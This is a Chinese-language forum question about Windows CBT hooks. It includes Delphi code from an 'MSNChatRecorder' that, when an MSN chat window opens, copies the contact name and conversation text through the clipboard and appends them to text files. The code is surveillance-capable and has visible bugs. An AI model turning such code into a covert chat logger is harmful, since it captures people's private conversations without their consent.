W
windz
Unregistered / Unconfirmed
GUEST, unregistred user!
这个iCode是个什么东西,什么时候它才可以等于HCBT_CREATEWND?<br><br>Function ShellDll_MainHook(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;<br>Const<br> FExePath = '/Software/MCR/MSNChatRecorder';<br> FExeKey = 'ExePath';<br> FNewChat = 'NewChat';<br><br> FMSNPath = '/Software/Microsoft/MSNMessenger';<br> FMSNUserKey = 'USER.NET Messenger Service';<br><br><br>Var<br> szClass: Array[0..MAX_PATH] Of Char;<br> hwndToNewWindow: HWND;<br> ChildWindow: Thandle; //对话记录窗体<br> NameWindow: Thandle; //对话者窗体<br> TxtFile: TextFile;<br><br> Name_lptstr: pchar; //拷贝的内容<br> Name_CPHandle: THandle; //临时内存句柄<br><br> Text_lptstr: pchar; //拷贝的内容<br> Text_CPHandle: THandle; //临时内存句柄<br><br> TxtFilePath: wideString; //Txt文件路径<br> ChatTxt1: String; //对话内容<br> EMailName: String;<br> Reg: TRegistry;<br><br> i: integer;<br>Begin<br> Try<br> Reg := TRegistry.Create;<br><br> //CreateTxtFile<br> Reg.RootKey := HKEY_LOCAL_MACHINE;<br> Reg.OpenKey(FExePath, false);<br> TxtFilePath := Reg.ReadString(FExeKey);<br> Reg.CloseKey;<br><br> Reg.RootKey := HKEY_CURRENT_USER;<br> If Reg.OpenKey(FMSNPath, False) Then<br> TxtFilePath := TxtFilePath + 'Test';<br> Reg.CloseKey;<br> Finally<br> Reg.Free;<br> End;<br> If iCode < 0 Then<br> Result := CallNextHookEx(g_hShellHook, iCode, wParam, lParam);<br><br> If iCode = HCBT_CREATEWND Then<br> Begin<br> hwndToNewWindow := HWND(wParam);<br> GetClassName(hwndToNewWindow, szClass, MAX_PATH);<br> If StrComp(szClass, pchar('IMWindowClass')) = 0 Then <br> Begin<br> NameWindow := FindWindowEx(hwndToNewWindow, NameWindow, PChar('Edit'), Nil);<br> SendMessage(NameWindow, EM_SETSEL, 0, -1); <br> SendMessage(NameWindow, WM_COPY, 0, 0);<br> SendMessage(NameWindow, EM_SETSEL, -1, 0); <br><br> OpenClipboard(0);<br><br> Name_CPHandle := GetClipboardData(CF_TEXT);<br> Name_lptstr := pchar(GlobalLock(Name_CPHandle));<br> GlobalUnlock(Name_CPHandle);<br><br> EMailName := Name_lptstr;<br> TxtFilePath := TxtFilePath + '/' + GetEMailName(EMailName);<br> EmptyClipboard;<br> CloseClipboard;<br><br> For i := 0 To 1 Do<br> Begin<br> ChildWindow := FindWindowEx(hwndToNewWindow, ChildWindow, PChar('RichEdit20W'), Nil);<br> SendMessage(ChildWindow, EM_SETSEL, 0, -1); <br> SendMessage(ChildWindow, WM_COPY, 0, 0);<br> SendMessage(ChildWindow, EM_SETSEL, -1, 0); <br><br> OpenClipboard(0);<br> Text_CPHandle := GetClipboardData(CF_TEXT);<br> Text_lptstr := pchar(GlobalLock(Text_CPHandle));<br> GlobalUnlock(Text_CPHandle);<br><br> ChatTxt1 := Text_lptstr;<br> EmptyClipboard;<br> CloseClipboard;<br> If StrLen(pchar(ChatTxt1)) > 50 Then<br> Begin<br> Try<br> AssignFile(TxtFile, TxtFilePath + '.txt');<br><br> If Not FileExists(TxtFilePath + '.txt') Then<br> Rewrite(TxtFile)<br> Else<br> Append(TxtFile);<br> ChatTxt1 := Copy(ChatTxt1, 51, length(ChatTxt1) - 48);<br> Writeln(TxtFile, '对话日期:' + DateToStr(Now) + ' 对话时间:' + TimeToStr(Time));<br> Writeln(TxtFile, ChatTxt1);<br> Writeln(TxtFile, '-*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*_*-');<br> Finally<br> CloseFile(TxtFile);<br><br> End; <br> End;<br> End;<br> End;<br><br> End;<br> Result := CallNextHookEx(0, iCode, wParam, lParam);<br>End;<br>